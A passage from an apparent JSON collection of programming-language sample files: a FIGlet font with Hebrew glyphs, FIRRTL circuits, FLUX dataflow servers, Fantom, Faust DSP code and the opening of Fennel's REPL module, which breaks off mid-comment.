@\n | |_| |@\n  \\___/ @\n        @@\n220  LATIN CAPITAL LETTER U WITH DIAERESIS\n  _   _ @\n (_) (_)@\n | | | |@\n | |_| |@\n  \\___/ @\n        @@\n223  LATIN SMALL LETTER SHARP S\n   ___ @\n  / _ \\@\n | |/ /@\n | |\\ \\@\n | ||_/@\n |_|   @@\n228  LATIN SMALL LETTER A WITH DIAERESIS\n  _   _ @\n (_)_(_)@\n  / _` |@\n | (_| |@\n  \\__,_|@\n        @@\n246  LATIN SMALL LETTER O WITH DIAERESIS\n  _   _ @\n (_)_(_)@\n  / _ \\ @\n | (_) |@\n  \\___/ @\n        @@\n252  LATIN SMALL LETTER U WITH DIAERESIS\n  _   _ @\n (_) (_)@\n | | | |@\n | |_| |@\n  \\__,_|@\n        @@\n0x05D0  HEBREW LETTER ALEF\n __   __@\n \\ \\ / /@\n |  V / @\n | |\\ \\ @\n |_| \\_\\@\n        @@\n0x05D1  HEBREW LETTER BET\n   ______  @\n  |____  | @\n       | | @\n  _____| |_@\n /________/@\n           @@\n0x05D2  HEBREW LETTER GIMEL\n    ____  @\n   |__  | @\n      | | @\n  ____| | @\n /____/\\_\\@\n          @@\n0x05D3  HEBREW LETTER DALET\n  _______ @\n |____   |@\n      | | @\n      | | @\n      |_| @\n          @@\n0x05D4  HEBREW LETTER HE\n  _______ @\n |_____  |@\n   _   | |@\n  | |  | |@\n  |_|  |_|@\n          @@\n0x05D5  HEBREW LETTER VAV\n  ___ @\n |_  |@\n   | |@\n   | |@\n   |_|@\n      @@\n0x05D6  HEBREW LETTER ZAYIN\n ________ @\n \\__   __\\@\n    | |   @\n    | |   @\n    |_|   @\n          @@\n0x05D7  HEBREW LETTER HET\n  _______ @\n |.  __  |@\n  | |  | |@\n  | |  | |@\n  |_|  |_|@\n          @@\n0x05D8  HEBREW LETTER TET\n  __   ___ @\n |. | /_  |@\n  | |   | |@\n  | |___| |@\n  |_______|@\n           @@\n0x05D9  HEBREW LETTER YOD\n  ___ @\n |_  |@\n   |_|@\n    $ @\n    $ @\n      @@\n0x05DA  HEBREW LETTER FINAL KAF\n  _______ @\n |____  .|@\n      | | @\n      | | @\n      | | @\n      |_| @@\n0x05DB  HEBREW LETTER KAF\n  _____  @\n |____ \\ @\n      | |@\n  ____| |@\n |_____/ @\n         @@\n0x05DC  HEBREW LETTER LAMED\n |=|____ @\n |____  |@\n     / / @\n    / /  @\n   /_/   @\n         @@\n0x05DD  HEBREW LETTER FINAL MEM\n  ________ @\n |.  ___  |@\n  | |   | |@\n  | |___| |@\n  |_______|@\n           @@\n0x05DE  HEBREW LETTER MEM\n  _______ @\n |.  __  |@\n  | |  | |@\n  | | _| |@\n  |_||___|@\n          @@\n0x05DF  HEBREW LETTER FINAL NUN\n  ___ @\n |_  |@\n   | |@\n   | |@\n   | |@\n   |_|@@\n0x05E0  HEBREW LETTER NUN\n   ___ @\n  |_  |@\n    | |@\n  __| |@\n |____|@\n       @@\n0x05E1  HEBREW LETTER SAMEKH\n  _______ @\n |.  __  |@\n  | |  | |@\n  | |__/ |@\n  |_____/ @\n          @@\n0x05E2  HEBREW LETTER AYIN\n  __   _ @\n  \\ \\ | |@\n   \\ \\| |@\n  __\\ ` |@\n |______|@\n         @@\n0x05E3  HEBREW LETTER FINAL PE\n  ______ @\n |  __  |@\n | |_ | |@\n |___|| |@\n      | |@\n      |_|@@\n0x05E4  HEBREW LETTER PE\n  _______ @\n |  ___  |@\n  \\_\\  | |@\n  _____| |@\n |_______|@\n          @@\n0x05E5  HEBREW LETTER FINAL TSADI\n  __   _ @\n |. | | |@\n  | | // @\n  | |//  @\n  | |    @\n  |_|    @@\n0x05E6  HEBREW LETTER TSADI\n   __   __.@\n   \\ \\ / / @\n    \\ V /  @\n  ___\\  \\  @\n |______|  @\n           @@\n0x05E7  HEBREW LETTER QOF\n  ______ @\n |____  |@\n   _  | |@\n  | | |_|@\n  | |    @\n  |_|    @@\n0x05E8  HEBREW LETTER RESH\n  ______ @\n |____  |@\n      | |@\n      | |@\n      |_|@\n         @@\n0x05E9  HEBREW LETTER SHIN\n  _   _   _ @\n | | | | | |@\n | | | | | |@\n | |/ /_/ / @\n |_______/  @\n            @@\n0x05EA  HEBREW LETTER TAV\n    ______ @\n   |  __  |@\n   | |  | |@\n  _| |  | |@\n |___|  |_|@\n           @@\n0x2721  STAR OF DAVID\n       @\n __/\\__@\n \\    /@\n /_  _\\@\n   \\/  @\n       @@\n-0x0002  \naleph = t, bet/vet = c, gimel = d, dalet = s, he = v, vav = u, zayin = z  @\nhet = j, tet = y, yod = h, kaf/chaf = f, final kaf = l, lamed = k, mem = n@\nfinal mem = o, nun = b, final nun = i, samekh = x, ayin = g, pe/fe = p,   @\nfinal pe = ;, tsadi = m, final tsadi = ., qof = e, resh = r, shin/sin = a @\ntav = , comma = ', period = /, semicolon = `, slash = q, apostrophe = w   @\nStar of David = *                                                         @@\n-0x0003  \naleph = a, bet/vet = b, gimel = g, dalet = d, he = h, vav = v, zayin = z  @\nhet = c, tet = t, yod = y, kaf/chaf = k, final kaf = f, lamed = l, mem = m@\nfinal mem = o, nun = n, final nun = i, samekh = e, ayin = _, pe/fe = p,   @\nfinal pe = u, tsadi = j, final tsadi = w, qof = q, resh = r, shin/sin = s @\ntav = x                                                                   @\nStar of David = *                                                         @@\n"
  },
  {
    "path": "samples/FIRRTL/LFSR.fir",
    "content": "FIRRTL version 4.0.0\ncircuit Foo : %[[\n  {\n    \"class\": \"firrtl.transforms.DontTouchAnnotation\",\n    \"target\": \"~Foo|Foo>a\"\n  }\n]]\n  layer A, bind:\n  module MaxPeriodFibonacciLFSR : @[src/main/scala/chisel3/util/random/FibonacciLFSR.scala 65:7]\n    input clock : Clock @[src/main/scala/chisel3/util/random/FibonacciLFSR.scala 65:7]\n    input reset : Reset @[src/main/scala/chisel3/util/random/FibonacciLFSR.scala 65:7]\n    output io : { flip seed : { valid : UInt<1>, bits : UInt<1>[4]}, flip increment : UInt<1>, out : UInt<1>[4]} @[src/main/scala/chisel3/util/random/PRNG.scala 42:22]\n\n    wire _state_WIRE : UInt<1>[4] @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]\n    connect _state_WIRE[0], UInt<1>(0h1) @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]\n    connect _state_WIRE[1], UInt<1>(0h0) @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]\n    connect _state_WIRE[2], UInt<1>(0h0) @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]\n    connect _state_WIRE[3], UInt<1>(0h0) @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]\n    regreset state : UInt<1>[4], clock, reset, _state_WIRE @[src/main/scala/chisel3/util/random/PRNG.scala 55:49]\n    when io.increment : @[src/main/scala/chisel3/util/random/PRNG.scala 69:22]\n      node _T = xor(state[3], state[2]) @[src/main/scala/chisel3/util/random/LFSR.scala 15:41]\n      connect state[0], _T @[src/main/scala/chisel3/util/random/PRNG.scala 70:11]\n      connect state[1], state[0] @[src/main/scala/chisel3/util/random/PRNG.scala 70:11]\n      connect state[2], state[1] @[src/main/scala/chisel3/util/random/PRNG.scala 70:11]\n      connect state[3], state[2] @[src/main/scala/chisel3/util/random/PRNG.scala 70:11]\n    when io.seed.valid : @[src/main/scala/chisel3/util/random/PRNG.scala 73:22]\n      connect state[0], io.seed.bits[0] @[src/main/scala/chisel3/util/random/PRNG.scala 74:11]\n      connect state[1], io.seed.bits[1] @[src/main/scala/chisel3/util/random/PRNG.scala 74:11]\n      connect state[2], io.seed.bits[2] @[src/main/scala/chisel3/util/random/PRNG.scala 74:11]\n      connect state[3], io.seed.bits[3] @[src/main/scala/chisel3/util/random/PRNG.scala 74:11]\n    connect io.out, state @[src/main/scala/chisel3/util/random/PRNG.scala 78:10]\n\n  public module Foo : @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 11:7]\n    input clock : Clock @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 11:7]\n    input reset : UInt<1> @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 11:7]\n    output a : UInt<4> @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 12:13]\n\n    inst a_prng of MaxPeriodFibonacciLFSR @[src/main/scala/chisel3/util/random/PRNG.scala 91:22]\n    connect a_prng.clock, clock\n    connect a_prng.reset, reset\n    connect a_prng.io.seed.valid, UInt<1>(0h0) @[src/main/scala/chisel3/util/random/PRNG.scala 92:24]\n    invalidate a_prng.io.seed.bits[0] @[src/main/scala/chisel3/util/random/PRNG.scala 93:23]\n    invalidate a_prng.io.seed.bits[1] @[src/main/scala/chisel3/util/random/PRNG.scala 93:23]\n    invalidate a_prng.io.seed.bits[2] @[src/main/scala/chisel3/util/random/PRNG.scala 93:23]\n    invalidate a_prng.io.seed.bits[3] @[src/main/scala/chisel3/util/random/PRNG.scala 93:23]\n    connect a_prng.io.increment, UInt<1>(0h1) @[src/main/scala/chisel3/util/random/PRNG.scala 94:23]\n    node a_lo = cat(a_prng.io.out[1], a_prng.io.out[0]) @[src/main/scala/chisel3/util/random/PRNG.scala 95:17]\n    node a_hi = cat(a_prng.io.out[3], a_prng.io.out[2]) @[src/main/scala/chisel3/util/random/PRNG.scala 95:17]\n    node _a_T = cat(a_hi, a_lo) @[src/main/scala/chisel3/util/random/PRNG.scala 95:17]\n    connect a, _a_T @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 14:5]\n    printf(clock, UInt<1>(1), \"Value of a is %x\", a)\n"
  },
  {
    "path": "samples/FIRRTL/Memory.fir",
    "content": "FIRRTL version 4.0.0\ncircuit Memory:\n  public module Memory:\n    input clock: Clock\n    input rAddr: UInt<4>\n    input rEn: UInt<1>\n    output rData: UInt<8>\n    input wMask: UInt<1>\n    input wData: UInt<8>\n\n    mem tbMemoryKind1:\n      data-type => UInt<1>\n      depth => 16\n      reader => r\n      writer => w\n      read-latency => 1\n      write-latency => 1\n      read-under-write => undefined\n\n    tbMemoryKind1.r.clk <= clock\n    tbMemoryKind1.r.en <= rEn\n    tbMemoryKind1.r.addr <= rAddr\n    rData <= tbMemoryKind1.r.data\n    tbMemoryKind1.w.clk <= clock\n    tbMemoryKind1.w.en <= rEn\n    tbMemoryKind1.w.addr <= rAddr\n    tbMemoryKind1.w.mask <= wMask\n    tbMemoryKind1.w.data <= wData\n"
  },
  {
    "path": "samples/FLUX/gameserver.fx",
    "content": "typedef engine isEngineMessage;\ntypedef turn isTurnMessage;\ntypedef connect isConnectMessage;\ntypedef disconnect isDisconnectMessage;\n\nClientMessage(char* data) => ();\nParseMessage(char* data) => (int type, int client, char* data);\nReadMessage(int type, int client, char* data) => ();\n\nParseEngine(int type, int client, char* data) => (int client, int direction);\nDoEngine(int client, int direction) => ();\n\nParseTurn(int type, int client, char* data) => (int client, int direction);\nDoTurn(int client, int direction) => ();\n\nParseConnect(int type, int client, char* data) \n\t=> (int client, char* host, int port);\nDoConnect(int client, char* host, int port) => ();\n\nParseDisconnect(int type, int client, char* data) => (int client);\nDoDisconnect(int client) => ();\n\nUpdateBoard(ClientList clients) => (ClientList clients);\nSendData(ClientList clients) => ();\n\nDoUpdate(ClientList clients) => ();\n\nDataTimer() => (ClientList clients);\n\nGetClients() => (ClientList clients);\n\nWait(ClientList clients) => (ClientList clients);\n\nListen () => (char* data);\n\nsource Listen => ClientMessage;\nsource DataTimer => DoUpdate;\n\nDataTimer = GetClients -> Wait;\n\nDoUpdate = UpdateBoard -> SendData;\n\nClientMessage=ParseMessage -> ReadMessage;\n\nReadMessage:[engine, _, _] = ParseEngine -> DoEngine;\nReadMessage:[turn, _, _] = ParseTurn -> DoTurn;\nReadMessage:[connect, _, _] = ParseConnect -> DoConnect;\nReadMessage:[disconnect, _, _] = ParseDisconnect -> DoDisconnect;\n\natomic GetClients:{client_lock};\natomic DoConnect:{client_lock};\natomic DoDisconnect:{client_lock};\n\n\n"
  },
  {
    "path": "samples/FLUX/imageserver.fx",
    "content": "typedef xml TestXML;\ntypedef html TestHTML;\n\ntypedef inCache TestInCache;\n\nPage (int socket) => ();\n\nReadRequest (int socket) => (int socket, bool close, image_tag *request);\n\nCheckCache (int socket, bool close, image_tag *request) \n\t=> (int socket, bool close, image_tag *request);\n\nHandler (int socket, bool close, image_tag *request)\n     => (int socket, bool close, image_tag *request);\n\nComplete (int socket, bool close, image_tag *request) => ();\n\nReadInFromDisk (int socket, bool close, image_tag *request)\n     => (int socket, bool close, image_tag *request, __u8 *rgb_data);\n\nWrite (int socket, bool close, image_tag *request)\n     => (int socket, bool close, image_tag *request);\n\nCompress(int socket, bool close, image_tag *request, __u8 *rgb_data)\n\t=> (int socket, bool close, image_tag *request);\n\nStoreInCache(int socket, bool close, image_tag *request)\n\t=> (int socket, bool close, image_tag *request);\n\nListen () \n\t=> (int socket);\n\nsource Listen => Page;\n\nHandler:[_, _, inCache]=;\nHandler:[_, _, _]=ReadInFromDisk -> Compress -> StoreInCache;\n\nPage = ReadRequest -> CheckCache-> Handler -> Write -> Complete;\n\natomic CheckCache:{cache};\natomic StoreInCache:{cache};\natomic Complete:{cache};\n\nhandle error ReadInFromDisk => FourOhFor;\n"
  },
  {
    "path": "samples/FLUX/mbittorrent.fx",
    "content": "typedef choke TestChoke;\ntypedef unchoke TestUnchoke;\ntypedef interested TestInterested;\ntypedef uninterested TestUninterested;\ntypedef request TestRequest;\ntypedef cancel TestCancel;\ntypedef piece TestPiece;\ntypedef bitfield TestBitfield;\ntypedef have TestHave;\ntypedef piececomplete TestPieceComplete;\n\nCheckinWithTracker (torrent_data_t *tdata)\n    => ();\n\nSendRequestToTracker (torrent_data_t *tdata)\n    => (torrent_data_t *tdata, int socket);\n    \nGetTrackerResponse (torrent_data_t *tdata, int socket)\n    => ();\n\nUpdateChokeList (torrent_data_t *tdata)\n    => ();\n\nPickChoked (torrent_data_t *tdata)\n    => (torrent_data_t *tdata, chokelist_t clist);\n    \nSendChokeUnchoke (torrent_data_t *tdata, chokelist_t clist)\n    => ();\n    \nSetupConnection (torrent_data_t *tdata, int socket)\n    => ();\n    \nHandshake (torrent_data_t *tdata, int socket)\n    => (torrent_data_t *tdata, client_data_t *client);\n    \nSendBitfield (torrent_data_t *tdata, client_data_t *client)\n    => ();\n\nMessage (torrent_data_t *tdata, client_data_t *client)\n    => ();\n    \nReadMessage (torrent_data_t *tdata, client_data_t *client)\n    => (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload);\n    \nHandleMessage (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (client_data_t *client);\n    \nMessageDone (client_data_t *client)\n    => ();\n    \nCompletePiece (torrent_data_t *tdata, client_data_t *client, int piece)\n    => (torrent_data_t *tdata, client_data_t *client);\n\nVerifyPiece (torrent_data_t *tdata, client_data_t *client, int piece)\n    => (torrent_data_t *tdata, client_data_t *client, int piece);\n\nSendHave (torrent_data_t *tdata, client_data_t *client, int piece)\n    => (torrent_data_t *tdata, client_data_t *client);\n\nSendUninterested (torrent_data_t *tdata, client_data_t *client)\n    => (torrent_data_t *tdata, client_data_t *client);\n    \nChoke (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (client_data_t *client);\n    \nCancel (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (client_data_t *client);\n\nInterested (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (client_data_t *client);\n\nUninterested (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (client_data_t *client);\n\nBitfield (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (client_data_t *client);\n\nUnchoke (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (torrent_data_t *tdata, client_data_t *client);\n\nSendRequest (torrent_data_t *tdata, client_data_t *client)\n    => (client_data_t *client);\n\nHave (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (torrent_data_t *tdata, client_data_t *client);\n\nPiece (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (torrent_data_t *tdata, client_data_t *client, int piece);\n\nRequest (torrent_data_t *tdata, client_data_t *client, int type, int length, char *payload)\n    => (client_data_t *client);\n    \nSendKeepAlives (torrent_data_t *tdata)\n    => ();\n\nGetClients () \n    => (int maxfd, fd_set *fds);\n\nSelectSockets (int maxfd, fd_set *fds)\n    => (fd_set *fds);\n\nCheckSockets (fd_set *fds)\n    => (torrent_data_t *tdata, client_data_t *client);\n\nTrackerTimer () \n    => (torrent_data_t *tdata);\n\nChokeTimer ()\n    => (torrent_data_t *tdata);\n\nConnect ()\n    => (torrent_data_t *tdata, int socket);\n\nKeepAliveTimer ()\n    => (torrent_data_t *tdata);\n\nListen ()\n    => (torrent_data_t *tdata, client_data_t *client);\n\nsource TrackerTimer => CheckinWithTracker;\nsource ChokeTimer => UpdateChokeList;\nsource Connect => SetupConnection;\nsource Listen => Message;\nsource KeepAliveTimer => SendKeepAlives;\n\nListen = GetClients -> SelectSockets -> CheckSockets;\nCheckinWithTracker = SendRequestToTracker -> GetTrackerResponse;\nUpdateChokeList = PickChoked -> SendChokeUnchoke;\nSetupConnection = Handshake -> SendBitfield;\nMessage = ReadMessage -> HandleMessage -> MessageDone;\n\nCompletePiece:[_, _, piececomplete] = VerifyPiece -> SendHave -> SendUninterested;\n\nHandleMessage:[_, _, choke, _, _] = Choke;\nHandleMessage:[_, _, unchoke, _, _] = Unchoke -> SendRequest;\nHandleMessage:[_, _, interested, _, _] = Interested;\n\nHandleMessage:[_, _, uninterested, _, _] = Uninterested;\nHandleMessage:[_, _, request, _, _] = Request;\nHandleMessage:[_, _, cancel, _, _] = Cancel;\nHandleMessage:[_, _, piece, _, _] = Piece -> CompletePiece -> SendRequest;\nHandleMessage:[_, _, bitfield, _, _] = Bitfield;\nHandleMessage:[_, _, have, _, _] = Have -> SendRequest;\n\natomic GetClients:{BigLock};\natomic CheckSockets:{BigLock};\natomic Message:{BigLock};\natomic CheckinWithTracker:{BigLock};\natomic UpdateChokeList:{BigLock};\natomic SetupConnection:{BigLock};\natomic SendKeepAlives:{BigLock};\n"
  },
  {
    "path": "samples/FLUX/test.fx",
    "content": "// concrete node signatures\nListen ()\n  => (int socket);\n\nReadRequest (int socket)\n  => (int socket, bool close, image_tag *request);\n\nCheckCache (int socket, bool close, image_tag *request)\n  => (int socket, bool close, image_tag *request);\n\n// omitted for space:\n// ReadInFromDisk, StoreInCache\nCompress (int socket, bool close, image_tag *request, __u8 *rgb_data)\n  => (int socket, bool close, image_tag *request);\nWrite (int socket, bool close, image_tag *request)\n  => (int socket, bool close, image_tag *request);\nComplete (int socket, bool close, image_tag *request) => ();\n\n// source node\nsource Listen => Image;\n\n// abstract node\nImage = ReadRequest -> CheckCache -> Handler -> Write -> Complete;\n\n// predicate type & dispatch\ntypedef hit TestInCache;\nHandler:[_, _, hit] = ;\nHandler:[_, _, _] =\nReadInFromDisk -> Compress -> StoreInCache;\n\n// error handler\nhandle error ReadInFromDisk => FourOhFor;\n\n// atomicity constraints\natomic CheckCache:{cache};\natomic StoreInCache:{cache};\natomic Complete:{cache};\n\n"
  },
  {
    "path": "samples/Fantom/sample1.fan",
    "content": "/*\n * Author: Robert Koeninger\n * License: WTFPL (http://www.wtfpl.net/)\n */\n\nclass Spelling {\n\n  ** Load sample text and offer corrections for input\n  static Void main(Str[] args) {\n    text := File.os(\"big.txt\").readAllStr\n    counts := Str:Int[:] { def = 0 }\n    text.split.each |word| { counts[word] += 1 }\n    args.each |arg| { echo(correction(counts, arg)) }\n  }\n\n  static const Range letters := Range.makeInclusive(97, 122)\n\n  ** Most probable spelling correction for `word`.\n  static Str correction(Str:Int counts, Str word) {\n    candidates(counts, word).max |x, y| { counts[x] <=> counts[y] }\n  }\n\n  ** Generate possible spelling corrections for `word`.\n  static Str[] candidates(Str:Int counts, Str word) {\n    result := known(counts, Str[word])\n    if (result.size > 0) return result\n\n    result = known(counts, edits1(word))\n    if (result.size > 0) return result\n\n    result = known(counts, edits2(word))\n    if (result.size > 0) return result\n\n    return Str[word]\n  }\n\n  ** The subset of `words` that appear in the map of `counts`.\n  static Str[] known(Str:Int counts, Str[] words) {\n    words.findAll |word, i| { counts[word] > 0 }.unique\n  }\n\n  ** All edits that are one edit away from `word`.\n  static Str[] edits1(Str word) {\n    edits := Str[,]\n\n    for (i := 0; i < word.size; ++i) {\n      edits.add(delete(word, i))\n\n      if (i < word.size - 2) {\n        edits.add(transpose(word, i))\n      }\n\n      edits.addAll(replace(word, i))\n      edits.addAll(insert(word, i))\n    }\n\n    edits = edits.unique\n    edits.remove(word)\n    return edits\n  }\n\n  ** Word with `i`th letter removed.\n  static Str delete(Str word, Int i) {\n    left := word.getRange(Range.makeExclusive(0, i))\n    right := word.getRange(Range.makeExclusive(i + 1, word.size))\n    return left + right\n  }\n\n  ** Word with `i`th and `i+1`st letter swapped.\n  static Str transpose(Str word, Int i) {\n    left := word.getRange(Range.makeExclusive(0, i))\n    right := word.getRange(Range.makeExclusive(i, word.size))\n    first := right.get(0).toChar\n    second := right.get(1).toChar\n    rest := right.getRange(Range.makeExclusive(2, right.size))\n    return left + second + first + rest\n  }\n\n  ** Word with `i`th letter replaced with every other letter.\n  static Str[] replace(Str word, Int i) {\n    left := word.getRange(Range.makeExclusive(0, i))\n    right := word.getRange(Range.makeExclusive(i + 1, word.size))\n    return letters.map |ch| { left + ch.toChar + right }\n  }\n\n  ** Word with each letter inserted at `i`.\n  static Str[] insert(Str word, Int i) {\n    left := word.getRange(Range.makeExclusive(0, i))\n    right := word.getRange(Range.makeExclusive(i, word.size))\n    return letters.map |ch| { left + ch.toChar + right }\n  }\n\n  ** All edits that are two edits away from `word`.\n  static Str[] edits2(Str word) {\n    (Str[])(edits1(word).map |w| { edits1(w) }.flatten)\n  }\n}\n"
  },
  {
    "path": "samples/Fantom/sample2.fan",
    "content": "/*\n * Author: Robert Koeninger\n * License: WTFPL (http://www.wtfpl.net/)\n */\n\nmixin Expr\n{\n  abstract Obj? eval()\n}\n\nclass Constant : Expr\n{\n  Obj? value\n\n  new make(Obj? value) { this.value = value }\n  override Obj? eval() { value }\n}\n\nenum class Op\n{\n  plus,\n  minus\n}\n\nclass Infix : Expr\n{\n  Op op\n  Expr left\n  Expr right\n\n  new make(Op op, Expr left, Expr right)\n  {\n    this.op = op\n    this.left = left\n    this.right = right\n  }\n\n  override Obj? eval()\n  {\n    switch (op)\n    {\n      case Op.plus:\n        return (Int)left.eval() + (Int)right.eval()\n      case Op.minus:\n        return (Int)left.eval() - (Int)right.eval()\n      default:\n        throw Err(\"undefined Op\")\n    }\n  }\n}\n"
  },
  {
    "path": "samples/Faust/FFT.dsp",
    "content": "// Radix 2 FFT, decimation in time, real and imag parts interleaved\n\ndeclare name\t\"FFT\"; // Faust Fourier Transform :-)\ndeclare author\t\"JOS\";\ndeclare license \"STK-4.3\";\n\nimport(\"stdfaust.lib\");\n\nN=32; // FFT size (power of 2)\n// Number of frequency bins (including dc and SR/2) is N/2+1\n\nNo2 = N>>1;\nsignal = amp * cosine with {\n  cosine = select2(k==0,\n\t\t select2(k==No2,\n\t\t\t2.0*os.oscrc(f(k)), // 2x since negative-frequencies not displayed\n\t\t\t1-1':+~*(-1) // Alternating sequence: 1, -1, 1, -1\n\t\t\t),\n\t\t   1.0); // make sure phase is zero (freq jumps around)\n  f(k) = float(k) * ma.SR / float(N); // only test FFT bin frequencies\n  k = hslider(\"[2] FFT Bin Number\",N/4,0,No2,0.001) : int <: _,dpy : attach;\n  dpy = hbargraph(\"[3] Measured FFT Bin Number\",0,No2);\n  amp = hslider(\"[4] Amplitude\",0.1,0,1,0.001);\n};\n\nprocess = signal : dm.fft_spectral_level_demo(N) <: _,_;\n"
  },
  {
    "path": "samples/Faust/lowCut.dsp",
    "content": "// WARNING: This a \"legacy example based on a deprecated library\". Check filters.lib\n// for more accurate examples of filter functions\n\ndeclare name \t\t\"lowcut\";\ndeclare version \t\"1.0\";\ndeclare author \t\t\"Grame\";\ndeclare license \t\"BSD\";\ndeclare copyright \t\"(c)GRAME 2006\";\n\n//------------------------------------------------------------------\n//\tDAFX, Digital Audio Effects (Wiley ed.)\n//\tchapter 2 \t: filters\n//\tsection 2.3 : Equalizers\n//\tpage 53 \t: second order shelving filter design\n//------------------------------------------------------------------\n\nimport(\"stdfaust.lib\");\n\n//------------------- low-frequency shelving cut (table 2.3) --------------------\n\nV0(g)\t\t\t= pow(10,g/-20.0);\nK(fc) \t\t\t= tan(ma.PI*fc/ma.SR);\nsqu(x)\t\t= x*x;\ndenom(fc,g)\t\t= 1 + sqrt(2*V0(g))*K(fc) + V0(g)*squ(K(fc));\n\nlfcut(fc, g)\t= fi.TF2((1 + sqrt(2)*K(fc) + squ(K(fc))) / denom(fc,g),\n\t\t\t\t\t\t2 * (squ(K(fc)) - 1) / denom(fc,g),\n\t\t\t\t\t\t(1 - sqrt(2)*K(fc) + squ(K(fc))) / denom(fc,g),\n\t\t\t\t\t\t2 * (V0(g)*squ(K(fc)) - 1) / denom(fc,g),\n\t\t\t\t\t\t(1 - sqrt(2*V0(g))*K(fc) + V0(g)*squ(K(fc))) / denom(fc,g));\n\n//------------------------------ User Interface -----------------------------------\n\nfreq \t\t\t= hslider(\"freq [unit:Hz][style:knob]\", 100, 20, 5000, 1);\natt\t\t\t\t= hslider(\"attenuation [unit:dB][style:knob]\", 0, -96, 10, 0.1);\n\n//----------------------------------- Process -------------------------------------\n\nprocess \t\t= vgroup(\"low-freq shelving cut\", lfcut(freq,att));\n\n"
  },
  {
    "path": "samples/Fennel/repl.fnl",
    "content": ";; This module is the read/eval/print loop; for coding Fennel interactively.\n\n;; The most complex thing it does is locals-saving, which allows locals to be\n;; preserved in between \"chunks\"; by default Lua throws away all locals after\n;; evaluating each piece of input.\n\n(local utils (require :fennel.utils))\n(local parser (require :fennel.parser))\n(local compiler (require :fennel.compiler))\n(local specials (require :fennel.specials))\n\n(fn default-read-chunk [parser-state]\n  (io.write (if (< 0 parser-state.stack-size) \"..\" \">> \"))\n  (io.flush)\n  (let [input (io.read)]\n    (and input (.. input \"\\n\"))))\n\n(fn default-on-values [xs]\n  (io.write (table.concat xs \"\\t\"))\n  (io.write \"\\n\"))\n\n;; fnlfmt: skip\n(fn default-on-error [errtype err lua-source]\n  (io.write\n   (match errtype\n     \"Lua Compile\" (.. \"Bad code generated - likely a bug with the compiler:\\n\"\n                       \"--- Generated Lua Start ---\\n\"\n                       lua-source\n                       \"--- Generated Lua End ---\\n\")\n     \"Runtime\" (.. (compiler.traceback (tostring err) 4) \"\\n\")\n     _ (: \"%s error: %s\\n\" :format errtype (tostring err)))))\n\n(local save-source (table.concat [\"local ___i___ = 1\"\n                                  \"while true do\"\n                                  \" local name, value = debug.getlocal(1, ___i___)\"\n                                  \" if(name and name ~= \\\"___i___\\\") then\"\n                                  \" ___replLocals___[name] = value\"\n                                  \" ___i___ = ___i___ + 1\"\n                                  \" else break end end\"]\n                                 \"\\n\"))\n\n(fn splice-save-locals [env lua-source]\n  (set env.___replLocals___ (or env.___replLocals___ {}))\n  (let [spliced-source []\n        bind \"local %s = ___replLocals___['%s']\"]\n    (each [line (lua-source:gmatch \"([^\\n]+)\\n?\")]\n      (table.insert spliced-source line))\n    (each [name (pairs env.___replLocals___)]\n      (table.insert spliced-source 1 (bind:format name name)))\n    (when (and (< 1 (length spliced-source))\n               (: (. spliced-source (length spliced-source)) :match\n                  \"^ *return .*$\"))\n      (table.insert spliced-source (length spliced-source) save-source))\n    (table.concat spliced-source \"\\n\")))\n\n(fn completer [env scope text]\n  (let [matches []\n        input-fragment (text:gsub \".*[%s)(]+\" \"\")]\n    (var stop-looking? false)\n\n    (fn add-partials [input tbl prefix] ; add partial key matches in tbl\n      (each [k (utils.allpairs tbl)]\n        (let [k (if (or (= tbl env) (= tbl env.___replLocals___))\n                    (. scope.unmanglings k)\n                    k)]\n          (when (and (< (length matches) 2000)\n                     ; stop explosion on too many items\n                     (= (type k) :string) (= input (k:sub 0 (length input))))\n            (table.insert matches (.. prefix k))))))\n\n    (fn add-matches [input tbl prefix] ; add matches, descending into tbl fields\n      (let [prefix (if prefix (.. prefix \".\") \"\")]\n        (if (not (input:find \"%.\")) ; no more dots, so add matches\n            (add-partials input tbl prefix)\n            (let [(head tail) (input:match \"^([^.]+)%.(.*)\")\n                  raw-head (if (or (= tbl env) (= tbl env.___replLocals___))\n                               (. scope.manglings head)\n                               head)]\n              (when (= (type (. tbl raw-head)) :table)\n                (set stop-looking? true)\n                (add-matches tail (. tbl raw-head) (.. prefix head)))))))\n\n    (each [_ source (ipairs [scope.specials scope.macros\n                             (or env.___replLocals___ []) env env._G])]\n      (add-matches input-fragment source)\n      ;; bootstrap compiler doesn't yet know how to :until\n      (when stop-looking? (lua :break)))\n    matches))\n\n(local commands {})\n\n(fn command? [input]\n  (input:match \"^%s*,\"))\n\n(fn command-docs []\n  (table.concat (icollect [name f (pairs commands)]\n                  (: \"  ,%s - %s\" :format name\n                     (or (compiler.metadata:get f :fnl/docstring) :undocumented)))\n                \"\\n\"))\n\n;; fnlfmt: skip\n(fn commands.help [_ _ on-values]\n  \"Show this message.\"\n  (on-values [(.. \"Welcome to Fennel.\nThis is the REPL where you can enter code to be evaluated.\nYou can also run these repl commands:\n\" (command-docs) \"\n  ,exit - Leave the repl.\nUse (doc something) to see descriptions for individual macros and special forms.\nFor more information about the language, see https://fennel-lang.org/reference\")]))\n\n;; Can't rely on metadata being enabled at load time for Fennel's own internals.\n(compiler.metadata:set commands.help :fnl/docstring \"Show this message.\")\n\n(fn reload [module-name env on-values on-error]\n  ;; Sandbox the reload inside the limited 